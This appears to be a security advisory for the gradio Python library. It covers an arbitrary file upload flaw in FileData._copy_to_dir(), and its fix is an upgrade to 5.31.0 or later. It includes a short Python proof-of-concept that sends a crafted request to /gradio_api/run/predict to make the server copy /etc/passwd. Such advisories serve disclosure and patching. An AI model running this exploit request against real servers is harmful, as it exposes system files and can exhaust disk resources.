Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade gradio
to version 5.31.0 or higher.
gradio is a Python library for easily interacting with trained machine learning models
Affected versions of this package are vulnerable to Arbitrary File Upload through the shutil.copy
operation in the FileData._copy_to_dir()
method. An attacker can disrupt server operations by copying large or system-critical files to exhaust disk resources by sending specially crafted requests to the /gradio_api/run/predict
endpoint.
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")